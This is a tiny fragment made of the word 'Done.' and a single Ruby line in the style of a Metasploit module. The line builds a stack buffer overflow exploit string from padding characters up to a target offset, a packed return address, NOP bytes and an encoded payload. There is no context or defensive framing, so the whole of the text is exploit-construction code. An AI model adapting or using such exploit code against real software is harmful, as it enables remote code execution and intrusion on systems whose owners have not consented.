Done.
sploit = "\x41" * target['Offset'] << [target.ret].pack('V') << make_nops(4) << payload.encoded